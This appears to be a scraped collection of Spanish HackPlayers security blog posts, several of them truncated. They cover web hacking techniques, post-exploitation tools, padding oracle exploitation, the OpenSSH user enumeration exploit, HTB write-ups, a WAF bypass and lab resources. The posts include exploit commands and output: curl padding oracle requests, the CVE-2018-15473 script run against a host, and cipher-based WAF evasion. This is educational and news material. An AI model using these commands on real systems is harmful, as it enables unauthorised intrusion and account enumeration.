Las 10 mejores técnicas de hacking web en el 2017

Hace un par de años que WhiteHat Security no publicaba el top 10 de técnicas de hacking web y ya lo echábamos de menos... ahora gracias a los chic@s de Portswigger (famosos por Burpsuite) volvemos a tenerlo!

Primero organizaron una votación de entre 37 nominadas, de las cuales 15 fueron votadas por la Comunidad para que, finalmente, un panel de expertos deliberaran y seleccionaran un top 10 de las mejores técnicas de hacking web en 2017 (y también 2016).

Los principales criterios fueron cuán innovadores, generalizados e impactantes eran los técnicas, y por cuánto tiempo seguirán siendo relevantes. Estos son los resultados (del número 10 al 1):

10. Binario de webshell a través de OPcache en PHP 7

En un post de 2016, Ian Bouchard revela una técnica novedosa para bypassear el hardening y obtener con éxito RCE a través de vulnerabilidades de escritura de archivos en sistemas que ejecutan PHP 7.

9. Whitepaper de seguridad de los navegadores de Cure53

En este enorme documento técnico encargado por Google, Cure53 analiza en profundidad la seguridad de Internet Explorer, Edge y Chrome. Los capítulos 3-5 en particular contienen información interesante sobre seguridad web.

8. Codificación de peticiones para eludir WAFs

Soroush Dalili hace algunas cosas curiosas con codificaciones y solicitudes HTTP mal formadas para bypassear numerosos WAF. Desafortunadamente, no está disponible la grabación de la presentación que hizo, pero se puede obtener información a partir de dos posts y las diapositivas actualizadas.

7. Una inmersión profunda en los controles de acceso de AWS S3

Frans Rosén examina el funcionamiento interno de los buckets de S3 desde la perspectiva de un atacante y un defensor. El documento cubre numerosos escollos comunes, incluido el asombroso e hilarante "gotcha" de 'Usuarios Autenticados'.

6. Vulnerabilidades avanzadas en flash

Esta serie de publicaciones de Enguerran Gillier utiliza varias vulnerabilidades en YouTube para introducir e ilustrar varias técnicas avanzadas de explotación de Flash. Ha combinado numerosas técnicas a menudo pasadas por alto con un toque artístico en estas publicaciones sumamente bien explicadas.

SILENTTRINITY - Post Explotación con el “Empire” basado en C# y Python

La semana pasada fue la DerbyCon y nos ha traído muuuuchas cosas nuevas, tantas que estoy sufriendo para poder verlas todas. No obstante, de toda esa montaña de información, una de las charlas ha llamado especialmente mi atención:

  • IronPython… OMFG - Marcello Salvati (byt3bl33d3r)
    • https://github.com/byt3bl33d3r/Slides/blob/master/IronPython_OMFG_Derbycon_2018.pptx
    • https://www.youtube.com/watch?v=NaFiAx737qg

IronPython… OMFG

1- Introducción
byt3bl33d3r, creador del conocido proyecto CrackMapExec, nos presenta SILENTTRINITY, su nuevo agente de post explotación basado en C#/.NET, Python e IronPython.

Para aquellas personas que hayan ido leyendo mis posts anteriores aquí en HackPlayers, ya sabrán por qué razón se está transitando poco a poco a estas herramientas basadas en C#. Para el resto, mencionar que actualmente existen numerosas protecciones contra el uso de PowerShell ofensivo que, poco a poco, están limitando su potencial, como son:
  • AMSI
  • Module Logging 
  • ScriptBlock Logging
  • Transcription Logging
  • Constrained Language Mode

Explotar padding oracle para obtener claves de cifrado

Padding Oracle fue introducido por Serge Vaudenay en la conferencia Eurocrypt de 2002, pero parece que no fue hasta 2010 cuando realmente empezó a tomarse en serio, gracias sobretodo a Juliano Rizzo y Thai Duong que demostraron cómo realizar ataques efectivos utilizando esta técnica a sitios web con ASP.NET.


Hoy, 8 años después, Padding Oracle sigue estando presente no sólo en sitios con ASP.NET sin actualizar, si no en cualquiera que utilice un algoritmo de cifrado de bloques de longitud variable (es decir que necesita usar relleno o padding) y son vulnerables. Y cuando decimos cualquiera no sólo hablamos de Web, si no de cualquier protocolo que utilice cifrado de bloques o CBC como SSL (Poodle), Ipsec, WTLS, o SSH, etc. En todos ellos podríamos llegar a descifrar los datos sin la secret key, e incluso a cifrar con lo que, dependiendo del aplicativo, podríamos insertar en la sesión un cookie de admin o inyectar código EL, por decir algunos ejemplos. Como veis las consecuencias van desde una simple revelación de información sensible hasta la posibilidad de ejecutar código remotamente.

Por eso no conviene olvidarse nunca de las "posibilidades" de Padding Oracle, por lo que hoy rescatamos un post de GDSSecurity dónde explotan esta vulnerabilidad con PadBuster.

Primero empezaremos descargando el código del siguiente repositorio donde encontraremos una aplicación web vulnerable a Padding Oracle. Utiliza AES-128 con padding PKCS#5 y la misma contraseña estática para la clave de cifrado y el vector de inicialización, que se utilizan para cifrar y descifrar este valor. No hay HMAC u otra verificación de integridad de mensajes, así que es ideal para practicar.

# git clone https://github.com/GDSSecurity/PaddingOracleDemos.git
# cd PaddingOracleDemos
# python pador.py


Escenario sencillo

La aplicación descifra todo lo que pongamos en el parámetro 'cipher':
# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6

decrypted: ApplicationUsername=user&Password=sesame

Al cambiar los dos primeros bits del primer bloque, podemos verificar que no se realizan comprobaciones de sintaxis en los datos descifrados. Y podemos ver que la aplicación procesa felizmente los datos "basura" que hemos metido:
# curl http://127.0.0.1:5000/echo?cipher=ff4b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6

decrypted: �+�]7N�d�����N�me=user&Password=sesame

El siguiente paso es comprobar cómo reacciona la aplicación al padding incorrecto. Podemos hacer esto cambiando bits en el último bloque. Parece que la aplicación devuelve "error de descifrado" cuando el relleno es incorrecto.
# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ff

decryption error 

Vulnerabilidad de enumeración de usuarios en OpenSSH (CVE-2018-15473)

El 15 de agosto de 2018 la gente de Qualys publicó en OSS-Security un aviso en el que comunicaban que, analizando los últimos commits de OpenSSH, se dieron cuenta de que se aplicó un parche bastante "curioso":

https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0

Date:   Tue Jul 31 03:10:27 2018 +0000
    delay bailout for invalid authenticating user until after the packet
    containing the request has been fully parsed. Reported by Dariusz Tytko
    and Michal Sajdak; ok deraadt

Sin este parche un atacante remoto podría probar fácilmente si un determinado usuario existe o no (enumeración de nombres de usuario):
87 static int
  88 userauth_pubkey(struct ssh *ssh)
  89 {
 ...
 101         if (!authctxt->valid) {
 102                 debug2("%s: disabled because of invalid user", __func__);
 103                 return 0;
 104         }
 105         if ((r = sshpkt_get_u8(ssh, &have_sig)) != 0 ||
 106             (r = sshpkt_get_cstring(ssh, &pkalg, NULL)) != 0 ||
 107             (r = sshpkt_get_string(ssh, &pkblob, &blen)) != 0)
 108                 fatal("%s: parse request failed: %s", __func__, ssh_err(r));

Es decir, con ésto el atacante puede intentar autenticar a un usuario con un paquete mal formado (por ejemplo un paquete truncado) y:

- Si el usuario no es válido (no existe), userauth_pubkey() hace un return inmediatamente, y el servidor envía un SSH2_MSG_USERAUTH_FAILURE al atacante.
- si el usuario es válido (existe), entonces sshpkt_get_u8 () falla y el servidor llama a fatal() y cierra su conexión con el atacante.

Las versiones de OpenSSH desde la 2.2 hasta la 7.7 son vulnerables y, básicamente, el equipo de Qualys estaba denunciando que ese problema debía tener un CVE y lo publicaron en oss-security porque si lo detectaron ellos cualquier otro podría haberlo hecho también y aprovecharse (mis dieses).

Su mensaje hizo efecto y el MITRE le asignó el CVE-2018-15473.

Un par de semanas después el equipo de ShelIntel publicó un exploit para esta vulnerabilidad y el resultado es un bonito script en Python capaz de enumerar usuarios en cientos de miles de servidores con OpenSSH que todavía no han sido actualizados...

El repo lo tenéis en https://github.com/Rhynorater/CVE-2018-15473-Exploit donde encontraréis además una imagen de docker para probar. También lo tenemos en EDB y MSF:

- https://www.exploit-db.com/exploits/45233/
- https://www.rapid7.com/db/search?q=CVE-2018-15473

Uso:
usage: 45233.py [-h] [--port PORT] [--threads THREADS]
                [--outputFile OUTPUTFILE] [--outputFormat {list,json,csv}]
                (--username USERNAME | --userList USERLIST)
                hostname

positional arguments:
  hostname              The target hostname or ip address

optional arguments:
  -h, --help            show this help message and exit
  --port PORT           The target port
  --threads THREADS     The number of threads to be used
  --outputFile OUTPUTFILE
                        The output file location
  --outputFormat {list,json,csv}
                        The output file location
  --username USERNAME   The single username to validate
  --userList USERLIST   The list of usernames (one per line) to enumerate
                        through

Ejemplo:

# nmap -p22 -sV -sC x.x.21.19

Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-03 01:27 CEST
Nmap scan report for xxxxxx (x.x.21.19)
Host is up (0.013s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.2 (protocol 2.0)
| ssh-hostkey:
|   1024 70:6b:29:42:b3:d3:e7:8d:12:06:2d:f8:40:5d:b8:c9 (DSA)
|   2048 23:33:92:5e:53:6c:79:87:43:d3:22:e0:b4:24:62:7e (RSA)
|_  256 01:8d:05:c7:92:c7:27:0b:d0:b1:1a:d4:49:c2:86:07 (ECDSA)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.33 seconds

# python 45233.py --username root x.x.21.19
root is a valid user!

# python 45233.py --username root2 x.x.21.19
root2 is not a valid user!

[HTB write-up] Sunday

Continuamos nuestro ciclo de writeups de máquinas de Hackthebox con la recién retirada Sunday, una máquina facilona pero cuanto menos curiosa al tratarse de un Solaris.


Scanning

Comenzaremos tratando de identificar puertos abiertos para posteriormente reconocer versiones y ejecutar scripts seguros.


El escaneo SYN no nos da ningún punto de entrada, por lo que tenemos que buscar más. Un escaneo TCP de los puertos habituales tampoco arroja luz sobre el asunto así que procedemos a lanzar un escaneo SYN a todos los puertos.

A mayores, podemos comentar que los scripts ejecutados ya nos dan usuarios así que no sería necesaria la enumeración manual de finger.

Nota 1: -sS = SYN scan; -n = no resolver nombre; -Pn = tratar como host vivo; -oA = todos los formatos output; -sV = Version scan; -sC = ejecutar scripts seguros.

Nota 2: Podríamos usar técnicas ninja para tratar de evadir cortafuegos, como podría ser –g 53 = puerto de origen 53 (dns); -f = fragmentar paquetes; --data-length = aumentar tamaño del paquete

Un escaneo a todos los puertos ya nos da un punto de entrada, el puerto 22022 que resulta ser SSH.

Call for papers h-c0n 2019

Nos temblaban los dedos cada vez que los acercábamos a las teclas de cursor... ¡La #hc0n2019 ya tiene fecha! Será el próximo 8 y 9 de febrero de 2019 también en la ETSISI - Universidad Politécnica de Madrid (Calle de Alan Turing, s/n, 28031 Madrid).


El año pasado, en nuestra primera edición, fueron muchos por no decir todos los aspectos positivos que rodearon la conferencia: los ponentes y sus maravillosas charlas y talleres, las instalaciones de la UPM, la colaboración de la Core Dumped, el CTF previo, los patrocinios y en general vuestra asistencia y la grata acogida que tuvimos. Podéis visitar la web de la h-c0n o nuestra pequeña crónica si no tuvisteis ocasión de acercaros.

Como podéis imaginar, resulta difícil cambiar algo con esa perspectiva, pero lo que si vamos a intentar es mejorar lo que podamos añadiendo algunas novedades. Una de ellas, es un 'Call for papers' que abrimos justo ahora y hasta el próximo 15 de noviembre, con el que esperamos tener un buen número de propuestas para ofreceros una gran variedad de charlas y talleres de calidad.

Así que si te animas a presentar tu ponencia o impartir tu taller en la h-c0n 2019, la II Conferencia de Hackplayers, no lo dudes y rellena el formulario correspondiente en la web del evento:

https://www.h-c0n.com/p/call-for-papers-2019.html


Requisitos:

- El ponente/s debe ser autor o co-autor de dicha ponencia/taller.
- Máximo 2 ponentes por ponencia/taller.
- Máximo 1 ponencia/taller por persona.
- Temática: directamente relacionado con el hacking, ciberseguridad o seguridad informática.
- Duración de las ponencias: 50 minutos.
- Duración de los talleres: 2 horas.
- Idioma: español o inglés.

** Se valorarán muy positivamente las charlas/talleres de carácter técnico y avanzado. **
** También se valorarán muy positivamente las charlas/talleres que no se hayan impartido con anterioridad. **

Periodo de recepción de propuestas: 1 de Octubre - 15 de Noviembre de 2018
Fecha límite de notificación de decisión: 30 de Noviembre de 2018

Para cualquier duda relacionada con el CFP ponte en contacto con la organización a través del correo hackplayerscon_at_gmail.com.

Escalado de privilegios en Linux con nuevo bug 'Mutagen Astronomy'

Los investigadores de Qualys han descubierto una nueva vulnerabilidad crítica que han bautizado como "Mutagen Astronomy" que afecta a las versiones de kernel publicadas entre julio de 2007 y julio de 2017. Se trata de un desbordamiento de enteros que permite escalar privilegios de forma local, concretamente en la función create_elf_tables() que opera las tablas de memoria.
Eso sí, el usuario sin privilegios tiene que tener acceso al binario (SUID o permisos) y parece que el problema no afecta a los sistemas de 32 bits ni a los que tienen pocos recursos de memoria (hablan de al menos 32gbs).

A la vulnerabilidad se le ha asignado el CVE-2018-14634 y afecta (al menos) a las distribuciones Red Hat Enterprise Linux, CentOS y Debian y a versiones de kernel 2.6.x, 3.10.x y 4.14.x. Qualys ha publicado código para dos PoCs:

https://www.qualys.com/2018/09/25/cve-2018-14634/poc-exploit.c
https://www.qualys.com/2018/09/25/cve-2018-14634/poc-suidbin.c


Referencias:

- Red Hat advisory CVE-2018-14634
- New Linux Kernel Bug Affects Red Hat, CentOS, and Debian Distributions 
- New Linux 'Mutagen Astronomy' security flaw impacts Red Hat and CentOS distros
- CVE-2018-14634: Linux Mutagen Astronomy Vulnerability Affects RHEL and Cent OS Distros
- Linux Kernel Vulnerability Affects Red Hat, CentOS, Debian
- Critical Linux Kernel Flaw Gives Root Access to Attackers

[HTB write-up] Olympus

Hoy traemos un nuevo writeup de Hackthebox, el de la recién retirada Olympus, pero esta vez de una forma un poco más especial ya que la máquina es de nuestro compañero del team L1k0rd3b3ll0t4 OscarakaElvis, por lo que aprovecho para darle también la enhorabuena por la máquina tan molona que se marcó.

Enumeración nmap

Ejecutamos


En el análisis de nmap de los 1000 primeros puertos podemos comprobar que tenemos el servicio ssh en dos puertos diferentes: uno filtrado y otro abierto en el 2222. También tenemos un puerto 80 y un servicio dns en el 53, y después de escanear todos los puertos no hemos detectado nada más.

Accedemos al puerto 80 y nos encontramos


En el puerto 80 solo nos encontramos con esa imagen que, después de analizarla mas detenidamente, no nos dió ningún tipo de información que nos pudiera servir.

Fuzzing  de directorios

El primero que lanzaremos será dirb


El segundo que suelo lanzar es dirsearch con algunos diccionarios de Sectlist, pero no tuve suerte y no encontré info más relevante que lo mostrado con dirb.

Descubriendo SharpSploit: Mimikatz, Enumeración, Mov lateral, Bypasses... ¡En C#!

Como diría @Superfume¡tenemos dulcines!

Hace escasas horas salió SharpSploit, una nueva herramienta escrita en C# que nos trae Ryan Cobb (@cobbr_io).  El mismo Ryan ha escrito un post sobre su herramienta explicando un poco de qué se compone y el por qué de su existencia:



https://posts.specterops.io/introducing-sharpsploit-a-c-post-exploitation-library-5c7be5f16c51

Así mismo, el repositorio de la tool es el siguiente:

https://github.com/cobbr/SharpSploit

Evidentemente, si se sabe inglés y se tiene tiempo, lo mejor es leerse el post original. Por mi parte destacaré ciertos puntos interesantes de la herramienta y veremos algunos ejemplos de ejecución de la misma.
 
SharpSploit

Para empezar, el nombre de la herramienta hace honor al proyecto PowerSploit, de lo cual nos daremos cuenta rápido. A pesar de sus similitudes, Ryan ha enfatizado en que no pretende ser la versión C# de éste.

En SharpSploit nos encontramos con dulcines como:

    • Mimikatz
    • Gestión de Tokens (impersonar, bypass UAC, …)
    • Enumeración local y de dominio.
    • Ejecución de código evitando protecciones actuales (AMSI, ScriptBlock logging, …)
    • Movimiento lateral
    • …

A causa de las recientes medidas que se están tomando frente al uso malicioso/ofensivo de Powershell, la comunidad está acercándose poco a poco al empleo de C# como alternativa para evadir dichas protecciones.

Sin embargo, el autor destaca algunos “peros” en el uso de herramientas de este tipo:

    • Nos movemos de un lenguaje de scripting (Powershell) a un lenguaje compilado (C#).
    • Debemos tener en cuenta las versiones de .NET
        ◦ Normalmente encontraremos .NET v3.5 en la mayor parte de Windows por defecto.
        ◦ Los Windows 10 y Server 2016 más nuevos tendrán únicamente instalados .NET v4.0 por defecto.
        ◦ En algunos casos ni si quiera está activado.
Para este último problema, SharpSploit dispone de funcionalidad tanto para .NET v3.5 como para .NET v4.0.

Publican un 0-day en el Jet Database Engine de Windows

El 8 de mayo de 2018 Lucas Leong notificó a Microsoft a través del ZDI (Zero Day Initiative) de Trend Micro un 0-day que permite la ejecución remota de código debido a una vulnerabilidad en la administración de índices del Jet Database Engine.

El caso es que se han cumplido los 120 días de margen para Microsoft, se ha liberado y todavía no hay parche para una vulnerabilidad que puede ser explotada por cualquier atacante a través de un archivo de base de datos JET especialmente diseñado para provocar una escritura "out-of-bounds".

Según el ZDI, "La causa de este problema reside en el Motor de base de datos JET de Microsoft. Microsoft parcheó otros dos problemas en JET en las actualizaciones de septiembre. Pero mientras que los errores parcheados se describen como desbordamientos de búfer, este error adicional es en realidad una escritura fuera de límite (out-of-bounds), que se puede desencadenar al abrir un data source Jet a través de OLEDB".

A continuación se muestra una imagen con el crash provocado:


Afortunadamente, se requiere la interacción del usuario requiere para explotar esta vulnerabilidad ya que tienen que abrir el archivo malicioso.

El ZDI confirma que este Zero-day funciona en Windows 7 y se cree que también en el resto de versiones. A falta de exploits totalmente funcionales, podemos encontar ya una Poc aquí:

https://github.com/thezdi/PoC/tree/master/ZDI-18-1075

Fuentes:
- ZDI-CAN-6135: A Remote Code Execution Vulnerability in the Microsoft Windows Jet Database Engine
- Microsoft's Jet crash: Zero-day flaw drops after deadline passes
- Zero-Day Windows Jet Database Engine Vulnerability Allows Remote Code Execution

La ENISA lanza una herramienta de evaluación de las estrategias de ciberseguridad

La ENISA (Agencia Europea de Seguridad de las Redes y de la Información) acaba de lanzar una nueva herramienta que ayudará a los Estados Miembros a evaluar sus prioridades de acuerdo con sus estrategias nacionales de ciberseguridad. Para cada objetivo estratégico, la herramienta ofrece recomendaciones e ideas sobre cómo mejorar. ENISA desarrolló la herramienta con el objetivo de proporcionar resultados de una manera rápida y fácil de usar.

https://www.enisa.europa.eu/topics/national-cyber-security-strategies/national-cyber-security-strategies-guidelines-tools/national-cyber-security-strategies-evaluation-tool


Las autoridades a cargo de monitorizar la implementación de la Estrategia Nacional de Seguridad Cibernética (NCSS) pueden usar la herramienta para seguir la implementación y para reflexionar sobre las próximas prioridades estratégicas. Las actualizaciones de la herramienta en el futuro incluirán nuevas preguntas y objetivos para cubrir las necesidades del panorama de ciberseguridad emergente. Esta herramienta también es compatible con los requisitos de la Directiva NIS para que todos los Estados miembros tengan un NCSS y lo actualicen regularmente.

ENISA también ha actualizado su mapa interactivo de la NCSS, mejorando su usabilidad e introduciendo nuevas características, tales como los objetivos implementados de la estrategia, ejemplos detallados, historial de versiones y selección de idioma.

Las nuevas herramientas se presentaron durante el sexto taller nacional de ENISA sobre Estrategias de seguridad cibernética. El taller se enfocó en las últimas noticias del panorama de NCSS y la colaboración a través de los Centros de Intercambio de Información y Análisis (ISAC). El Mecanismo «Conectar Europa» (CEF), un instrumento clave de financiación de la UE destinado a promover el crecimiento, el empleo y la competitividad a través de inversiones específicas en infraestructuras a nivel europeo, se presentó también en el taller.

La Autoridad Reguladora de Comunicaciones de Finlandia (FICORA) fue la anfitriona del evento en Helsinki, donde participaron más de 50 entidades interesadas tanto del sector público como del privado.

Información de background

Desde 2012, ENISA ha estado apoyando a los Estados miembros de la UE para desarrollar, implementar y evaluar sus estrategias nacionales de ciberseguridad. Para lograr este objetivo, ENISA ha desarrollado varias herramientas, estudios, directrices y un grupo de expertos.

Inicialmente, solo 12 Estados miembros implementaron tales estrategias en sus legislaciones nacionales. Actualmente, los 28 Estados miembros de la UE tienen una Estrategia Nacional de Seguridad Cibernética, mientras que muchos de ellos están desarrollando su segunda o incluso tercera versión.

Fuente: https://www.enisa.europa.eu/news/enisa-news/enisa-launches-the-cybersecurity-strategies-evaluation-tool

Laboratorio para practicar inyecciones SQL (más de 60 ejercicios/lecciones)

El holandés Audi-1 tiene un repositorio en Github muy interesante llamado SQLI-LABS que nos permitirá montar rápidamente una plataforma para aprender y practicar inyecciones SQL de diferentes tipos:

- Inyecciones basadas en error (Union Select): 1. String 2. Integer
- Inyecciones basadas en error (Double Injection Based)
- Inyecciones ciegas: 1. booleanas 2.basadas en tiempo
- Inyecciones de peticiones update
- Inyecciones de peticiones insert
- Inyecciones en la cabecera HTTP 1. basadas en referer. 2. basadas en user-agent. 3. basadas en la cookie
- Inyecciones de segundo órden
- Evasión de WAF
      - bypass de filtros de Blacklist: Stripping comentarios, OR & AND, espacios y UNION & SELECT
       - Impidence mismatch
- Bypass de addslashes()
- Bypass de mysql_real_escape_string. (bajo ciertas condiciones especiales)
- Inyecciones SQL de tipo stacked
- Extracción Secondary channel


Instrucciones

- Descomprime los contenidos dentro de la carpeta de apache, por ejemplo en /var/www. Esto creará el directorio sql-labs.
- Como alternativa, se puede usar el comando git directamente desde la carpeta /var/www: git clone https://github.com/Audi-1/sqli-labs.git sqli-labs
- Abre el archivo "db-creds.inc" que se encuentra debajo del dir sql-labs/sql-connections.
- Actualiza el nombre de usuario y la contraseña de la base de datos MYSQL. (Por defecto root:toor)
- Desde el navegador accede a la url con path sql-labs para cargar index.html.
- Haz clic en la configuración del enlace setup/resetDB para crear una base de datos, las tablas y completar los datos.
- Los labs ya estarían listos para usar, haz clic en el número de la lección para abrir la página correspondiente.
- Disfruta de los laboratorios!

Tienes videotutoriales, walkthroughts y explicaciones en distintos sites del autor:

- http://dummy2dummies.blogspot.com
- http://www.securitytube.net/user/Audi
- https://www.facebook.com/sqlilabs

También tiene un libro pero todavía está en desarrollo: https://leanpub.com/SQLI-LABS

Repo: https://github.com/Audi-1/sqli-labs

[HTB-writeup] Canape

¡Buenas! Hoy venimos con la última máquina retirada de la plataforma Hackthebox: Canape. Para resolverla necesitaremos tener conocimientos básicos de Linux, un poco de coding para explotar una vulnerabilidad PHP, aprovecharnos de una versión vulnerable de base de datos y finalmente, escalar privilegios vía sudo. Así que... ¡Vamos allá!

Scanning

Como siempre, comencemos con un SYN scan para ser rápidos y sigilosos y, después, comprobar versiones de servicios y ejecutar scripts seguros de NSE.

-sS

Un escaneo de los puertos más comunes no arroja toda la información que podemos obtener, y es cuando utilizamos el parámetro -p- (escanear todos los puertos) cuando descubrimos que hay otro puerto abierto.

Ilustración 1. Resultados SYN scan.

-sV

Ilustración 2. Scripts NSE y escaneo de versiones.

Nota: -sS = SYN scan; -sV = version scan; -sC = ejecutar scripts NSE seguros; -n = no resolver nombre; -Pn = no intentar comprobar si el host está vivo; -p = puertos -oA = todos los formatos de salida.

Enum
A primera vista ya encontramos mucha información interesante… un servidor SSH en el puerto 65535, un servidor web con un sitio fan de los Simpsons y… un repositorio GIT!
Usemos Burp para preparar un proxy que nos logee todas las peticiones hacia la web.

Ilustración 3. Árbol inicial en Burpsuite.

¿No has parcheado tu Windows esta semana? Pues ya han liberado un exploit que permite RCE (explotando MSXML)...

Microsoft publicó ayer un parche para una vulnerabilidad de corrupción de memoria en el parser MSXML (Microsoft XML Core Services). Mediante esta vulnerabilidad con CVE-2018-8420, un atacante podría engañar a cualquier usuario para que visite una página web especialmente diseñada para invocar MSXML a través de un navegador, lo que le permitiría ejecutar código y tomar el control del sistema de la víctima.

Y a lo que nos atañe: poco después de publicar el parche, Theropord publicó en su repositorio de Github una PoC totalmente funcional. Os recomiendo echar un vistazo al código (que no puede ser más sencillo) y probarlo para que veáis el peligro que supone para un sistema que no se ha actualizado... ¡este mismo martes!:


Poc modificación xml (PS) por Lz1y:


Productos afectados:

Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows 8.1 for 32-bit systems
Windows 8.1 for x64-based systems
Windows Server 2012 R2
Windows RT 8.1
Windows Server 2012 R2 (Server Core installation)
Windows 10 for 32-bit Systems
Windows 10 for x64-based Systems
Windows Server 2016
Windows 10 Version 1607 for 32-bit Systems
Windows 10 Version 1607 for x64-based Systems
Windows Server 2016 (Server Core installation)
Windows 10 Version 1703 for 32-bit Systems
Windows 10 Version 1703 for x64-based Systems
Windows 10 Version 1709 for 32-bit Systems
Windows 10 Version 1709 for x64-based Systems
Windows Server, version 1709 (Server Core Installation)
Windows 10 Version 1803 for 32-bit Systems
Windows 10 Version 1803 for x64-based Systems
Windows Server, version 1803 (Server Core Installation)
Windows Server 2008 for Itanium-Based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Repos:

- https://github.com/Theropord/CVE-2018-8420
- https://github.com/Lz1y/CVE-2018-8420  

Nota:  Por el momento se ha conseguido reproducir la PoC html en IE 9.0. Cualquier prueba no dudes en comentar!

Solución al reto 27: Boot2root Karim

{0x0} Introducción

Karim es un reto de tipo boot2root, que consiste en una máquina que debemos vulnerar para conseguir las flags de usuario (user.txt) y root (root.txt) suministrada por HackPlayers en su Reto 27 y creada por César Calderón aka @_stuxnet basada en Linux Ubuntu 17.10 OS, os mostraremos los pasos que hemos dado.

{0x1} Reconocimiento

Antes de empezar ponemos nuestra máquina de pentesting Kali Linux en Host-Only y la máquina hackplayers en Host-Only dentro del rango de red 192.168.153.0/24.

Y vamos a la tarea, lanzamos primeramente descubrimos la nuestra dirección IP y de la  máquina hackplayers a vulnerar



Y comprobamos que hay conexión con la máquina a vulnerar lanzado un ping:


{0x3} Escaneo

Realizamos un escaneo de puertos para comprobar los servicios que están abiertos y corriendo en la máquina a vulnerar:

Evadiendo WAFs mediante cifrados SSL no soportados

Hoy en día los WAFs (Web Application Firewalls) son un medio muy utilizado para proteger las aplicaciones web de los ataques más comunes. Eso sí, siempre han de verse como una medida de seguridad más, no como la única. Por ejemplo, si hay un fallo de la aplicación que permite una inyección de cualquier tipo hay que corregirlo en el código, no vale solo (o no debería valer) tener un WAF como única barrera porque, como veremos a continuación, pueden ser bypasseados mediante distintas técnicas. Una de ellas y de la que hablaremos en este post es la que plantea 0x09AL...

Los WAFs son como firewalls de nivel 7 o IPSs que inspeccionan el tráfico (y lo bloquean si es necesario) hacia la aplicación. El investigador 0x09AL recibió una alerta cuando accedió por primera vez a uno de estos WAF del tipo 'Unsupported SSL Ciphers', es decir, el WAF no soportaba ciertos algoritmos de cifrado en una conexión SSL... y en seguida comprendió que, si la aplicación que hay detrás soportaba un cifrado SSL que NO soportaba el WAF, una técnica fácil y eficaz sería comunicarse hacia el mismo usando uno de esos algoritmos. Es decir, el tráfico SSL que atravesara el WAF hacia la aplicación no podría ser inspeccionado, con lo que un atacante podría evadir el WAF... así de sencillo.

Basta con comparar los algoritmos que acepta uno y otro, el WAF y el servidor web respectivamente. Imaginar por ej. que el servidor web soporta TLSv1 de 256 bits ECDHE-RSA-AES256-SHA y el WAF no:

$ sslscan http://target/ | grep Accept

Accepted TLSv1 256 bits ECDHE-RSA-AES256-SHA

Herramienta: https://github.com/rbsec/sslscan

El atacante simplemente tendría que especificar ese algoritmo y el WAF no podría inspeccionar el tráfico:

$ curl --ciphers ECDHE-RSA-AES256-SHA https://waf-test.lab.local/ssl-cipher-test
<html lang=en>
  <title>HELLO </title>
  <p>Bypass worked</p>

En base a esta técnica, 0x09AL ha publicado también una herramienta llamada WAF_buster que nos facilita la tarea de bypassear los WAFs abusando de las suites de cifrado SSL. Primero busca todos los cifrados admitidos durante la negociación de SSL/TLS en el servidor web mediante SslScan y luego los prueba con un simple curl. Si encuentra cualquier cifrado no soportado por el WAF pero si por el Web Server nos mostrará un mensaje que dice "Firewall bypass".

$ git clone https://github.com/viperbluff/WAF_buster.git
$ cd WAF_buster

$ python2 WAF_buster.py --input


Repositorio: https://github.com/viperbluff/WAF_buster

[HTB write-up] Poison

Hoy quiero compartir con vosotros un writeup para comprometer una de las máquinas recientemente retiradas en HacktheBox: Poison, un FreeBSD de dificultad fácil pero que tiene su "miga"...


ENUMERACIÓN

nmap –T4 –sT –sC –A 10.10.10.84


Vemos que el puerto 80 está abierto, así que visitamos la url y nos encontramos lo siguiente.
 

Si vamos probando por los diferentes ficheros, ini.php, info.php, nos va dando diferente información de la configuración de nuestro php, pero el que nos interesa especialmente es el listfiles.php.
Así que introducimos en el campo del formulario listfiles.php y obtenemos la respuesta mostrada en la imagen de abajo, de la cual nos llama la atención el pwdbackup.txt:


Probamos a ver qué tiene el fichero pwdbackup.txt, introduciendo el nombre en el formulario o bien directamente en la url.

Nos encontramos con un base64, encodeado 13 veces.

A-Detector: un IDS basado en anomalías


Soy @alexfrancow en todas las redes sociales y este es un post resumiendo el trabajo que hice para el proyecto de fin de curso, el que quiera profundizar decir que tengo explicado lo que hace cada parte del código de la aplicación final en un jupyter notebook.

A-Detector es un software desarrollado para automatizar el análisis de anomalías de red en grandes datasets. Gracias a una serie de algoritmos, A-Detector puede detectar datos anómalos y mostrarlos en gráficos dinámicos.

Básicamente es capaz de automatizar el análisis de tráfico aprender de él y detectar el tráfico anómalo.

¿Cómo lo haría una persona?
 


Una persona abriría un .pcap, (el que se ve en la imagen de arriba) y claramente vería algo sospechoso: en menos de 1 segundo el destino ha recibido múltiples paquetes provenientes de la IP 192.168.60.6 por el protocolo SSH.

En este caso es fácil detectarlo, pero que pasaría si fuese un dataset muchísimo más grande, imaginaros 1 millón de paquetes, sería más complicado analizarlo.

(Podemos usar filtros y demás, peeeero somos muy vagos.)

¿Cómo lo hace A-Detector?

A-Detector hace por nosotros este trabajo, permitiéndonos así trabajar casi en tiempo real.

Mediante la librería PANDAS, que nos permite trabajar con tablas en Python y una serie de algoritmos de machine learning como pueden ser Isolation Forest y Escalado de variables, a-detector es capaz de hacer lo que haríamos nosotros analizando un dataset, pero de manera más eficiente.

Vamos por partes..

